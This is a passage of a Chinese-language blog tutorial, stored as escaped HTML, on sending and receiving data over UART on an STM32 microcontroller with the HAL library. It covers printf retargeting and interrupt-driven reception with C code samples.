href=\"http://http//blog.ksfu.top/posts/b619/#%E9%80%89%E6%8B%A9%E7%94%9F%E6%88%90%E5%BF%85%E8%A6%81%E7%9A%84%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"选择生成必要的代码\"\u003e\u003c/a\u003e选择生成必要的代码\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/uart/2.webp\" alt=\"2\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e1.Copy all used libraries into the project folder\u003c/p\u003e\u003cp\u003e将所有使用过的库复制到项目文件夹中。\u003c/p\u003e\u003cp\u003e不管你用,还是没有用到,都拷贝到你工程目录下。这样一来,你工程下文件就比较多。\u003c/p\u003e\u003cp\u003e2.Copy only the necessary library files \u003c/p\u003e\u003cp\u003e只复制必要的库文件。\u003c/p\u003e\u003cp\u003e这个相比上一个减少了很多文件。比如你没有使用CAN、SPI…等外设,就不会拷贝相关库文件到你工程下。\u003c/p\u003e\u003cp\u003e3.Add necessary library files as reference in the toolchain project configuration file \u003c/p\u003e\u003cp\u003e在工具链项目配置文件中添加必要的库文件作为参考。\u003c/p\u003e\u003cp\u003e这里没有复制HAL库文件,只添加了必要文件(如main.c)。相比上面,没有Drivers相关文件。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eGenerate peripheral initialization as a pair of’.c/.h’ files per peripheral\u003c/p\u003e\u003cp\u003e每个外设生成独立的’.c/.h’文件\u003c/p\u003e\u003cp\u003e不勾:所有初始化代码都生成在main.c\u003c/p\u003e\u003cp\u003e勾选:初始化代码生成在对应的外设文件。 如UART初始化代码生成在uart.c中。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e)其他配置啥的可以上网搜搜具体意思\u003c/p\u003e\u003ch2 id=\"UART-发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART-%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"UART 发送\"\u003e\u003c/a\u003eUART 发送\u003c/h2\u003e\u003cp\u003e主要使用到的函数为\u003c/p\u003e\u003cp\u003e在 \u003ccode\u003estm32f4xx_hal_uart.c\u003c/code\u003e 中\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003eHAL_StatusTypeDef \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehuart\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cul\u003e\u003cli\u003ehuart :选择用来发送的UART串口\u003c/li\u003e\u003cli\u003epData :指向将要发送的数据的指针\u003c/li\u003e\u003cli\u003eSize :发送数据的大小\u003c/li\u003e\u003cli\u003eTimeout:超时时间\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch3 id=\"直接发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E7%9B%B4%E6%8E%A5%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"直接发送\"\u003e\u003c/a\u003e直接发送\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e定义一个数组\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//数组内十六进制代表“ABCDE”\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e调用函数发送\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// UART发送,使用打开的第一个端口,发送定义的数组里的字符\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延迟1s\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"自己写发送函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E8%87%AA%E5%B7%B1%E5%86%99%E5%8F%91%E9%80%81%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"自己写发送函数\"\u003e\u003c/a\u003e自己写发送函数\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e前面的发送方式,不仅要传入句柄参数,还有数组、长度、超时时间参数。\u003c/p\u003e\u003cp\u003e为了简便发送,我们可以专门写一个字符串发送函数,可以直接传入一个数组即可发送,可以更简便地实现字符串发送。\u003c/p\u003e\u003cp\u003e优点是,发送数据更简便,能够一次性发送很长的数据数组。\u003c/p\u003e\u003cp\u003e但缺点就是不能控制发送的长度,会将整个数据数组发出。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e具体实现方式可以在参考链接中找到~\u003c/p\u003e\u003ch3 id=\"使用-printf-函数发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%BD%BF%E7%94%A8-printf-%E5%87%BD%E6%95%B0%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"使用 printf() 函数发送\"\u003e\u003c/a\u003e使用 printf() 函数发送\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e好好好好好好好好好好好好好好好好好好\u003c/del\u003e\u003c/p\u003e\u003cp\u003e首先打开 \u003ccode\u003eusart.c\u003c/code\u003e,然后添加头文件 \u003ccode\u003e#include \u0026#34;stdio.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e再加入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifdef\u003c/span\u003e \u003cspan class=\"token expression\"\u003e__GNUC__\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* With GCC/RAISONANCE, small printf (option LD Linker-\u0026gt;Libraries-\u0026gt;Small printf set to \u0026#39;Yes\u0026#39;) calls __io_putchar() */\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003e__io_putchar\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003efputc\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e FILE \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ef\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* __GNUC__ */\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Retargets the C library printf function to the USART. * @param None * @retval None */\u003c/span\u003ePUTCHAR_PROTOTYPE\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Place your implementation of fputc here */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* e.g. write a character to the EVAL_COM1 and Loop until the end of transmission */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ech\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE END 1 */\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后再到 \u003ccode\u003emain.c\u003c/code\u003e 中添加头文件 \u003ccode\u003e#include \u0026#34;stdio.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e然后就能愉快的用 \u003ccode\u003eprintf()\u003c/code\u003e 了~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;Hello World!\\n\\r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"具体效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E5%85%B7%E4%BD%93%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"具体效果\"\u003e\u003c/a\u003e具体效果\u003c/h3\u003e\u003cp\u003e)用这个板子是因为上面已经有 \u003ccode\u003eCH340\u003c/code\u003e 这个芯片了,电脑上装好驱动可以直接用~\u003c/p\u003e\u003cp\u003e如果莫得的话,买一个 \u003ccode\u003eUSB 转 TTL 模块\u003c/code\u003e 就行,几块钱~\u003c/p\u003e\u003cp\u003e主要代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数组内十六进制代表 ABCDE\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 直接发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用 printf 发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;Hello World!\\n\\r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后连上,打开串口助手,打开串口\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/uart/3.gif\" alt=\"3\"/\u003e\u003c/p\u003e\u003ch2 id=\"UART-接收\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART-%E6%8E%A5%E6%94%B6\" class=\"headerlink\" title=\"UART 接收\"\u003e\u003c/a\u003eUART 接收\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)等我学完\u003c/del\u003e \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e在之前文件的基础上,打开串口中断\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/4.webp\" alt=\"4\" style=\"zoom:50%;\"/\u003e\u003cp\u003e如果开启了其他中断,要顺便设置一下中断优先级,如果没有默认即可\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/5.webp\" alt=\"5\" style=\"zoom:67%;\"/\u003e\u003cp\u003e生成代码。\u003c/p\u003e\u003ch3 id=\"函数说明\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E5%87%BD%E6%95%B0%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"函数说明\"\u003e\u003c/a\u003e函数说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e中断处理函数 \u003ccode\u003evoid USART1_IRQHandler(void)\u003c/code\u003e ,在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Transmit\u003c/code\u003e ,用来发送数据;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Receive\u003c/code\u003e ,用来接收函数\u003c/p\u003e\u003cp\u003e该函数能够通过huart串口接收Size位pData数据。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e参数说明:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehuart\u003c/code\u003e :选择用来接收的UART串口\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003epData\u003c/code\u003e :指向将要存放数据的指针\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eSize\u003c/code\u003e :接收数据的大小\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eTimeout\u003c/code\u003e :超时时间\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"接收方式\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E6%8E%A5%E6%94%B6%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"接收方式\"\u003e\u003c/a\u003e接收方式\u003c/h3\u003e\u003cp\u003e接收方式大概有三种,大致是\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e直接接收\u003c/p\u003e\u003cp\u003e这种方式为在 \u003ccode\u003ewhile\u003c/code\u003e 循环中不断判断是否接收成功,\u003cstrong\u003e会严重占用程序的进程\u003c/strong\u003e ,且接收较长的数据时,会发生接收错误。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,接收一位发送一位\u003c/p\u003e\u003cp\u003e使用中断可以很大程度的避免不必要的资源浪费。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e在没有什么特别事件的时候,单片机会按照原本的程序运行着,等到有数据从UART串口发送过来时,会马上进入UART串口的中断处理函数中,完成相应的中断处理操作,完成后会退出中断函数,并继续原本在进行的程序,这样就不会占用单片机程序太多的进程了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e但仍会发生前面直接接收方式的接收异常状况\u003c/strong\u003e ,主要原因是,在中断处理函数中,我们在接收了数据后并紧接着作出发送的操作,这会出现一个状况,还没来得及将上一次接收到的数据发送出去,就进入下一次接收的中断,然而导致失去了一些数据了。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,全部接收完后再发送\u003c/p\u003e\u003cp\u003e这个方式以一定的资源换取了一定程度数据的完整。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这种接收方式,是在方式2的基础上稍作改进的,较于前两种接收方式,是更好的一种接收方式,不会给原本的程序进程造成太大影响。还可以先接收全部数据(提示:通过定义一个较大的数组来存储),再将数据进行处理,这样能确保接收数据的完整性,并能将数据进行有效的处理、分析。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e以上 1, 2 两种方式可以在参考博客中找到实现方法,这里主要关注方法 3\u003c/p\u003e\u003ch3 id=\"中断接收,全部接收完后再发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%B8%AD%E6%96%AD%E6%8E%A5%E6%94%B6%EF%BC%8C%E5%85%A8%E9%83%A8%E6%8E%A5%E6%94%B6%E5%AE%8C%E5%90%8E%E5%86%8D%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"中断接收,全部接收完后再发送\"\u003e\u003c/a\u003e中断接收,全部接收完后再发送\u003c/h3\u003e\u003ch4 id=\"使能接收中断\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%BD%BF%E8%83%BD%E6%8E%A5%E6%94%B6%E4%B8%AD%E6%96%AD\" class=\"headerlink\" title=\"使能接收中断\"\u003e\u003c/a\u003e\u003cstrong\u003e使能接收中断\u003c/strong\u003e\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003eHAL_UART_MspInit\u003c/code\u003e(在 \u003ccode\u003eusart.c\u003c/code\u003e中)\u003cstrong\u003e使能接收中断\u003c/strong\u003e \u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_MspInit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e uartHandle\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略掉的前面的一些配置\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euartHandle\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e UART_IT_RXNE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"编写接收中断服务程序\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E7%BC%96%E5%86%99%E6%8E%A5%E6%94%B6%E4%B8%AD%E6%96%AD%E6%9C%8D%E5%8A%A1%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"编写接收中断服务程序\"\u003e\u003c/a\u003e编写接收中断服务程序\u003c/h4\u003e\u003cp\u003e \u003cstrong\u003e\u003ccode\u003eUSART1_IRQHandler\u003c/code\u003e\u003c/strong\u003e (在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中)\u003c/p\u003e\u003cp\u003e定义三个静态变量\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token 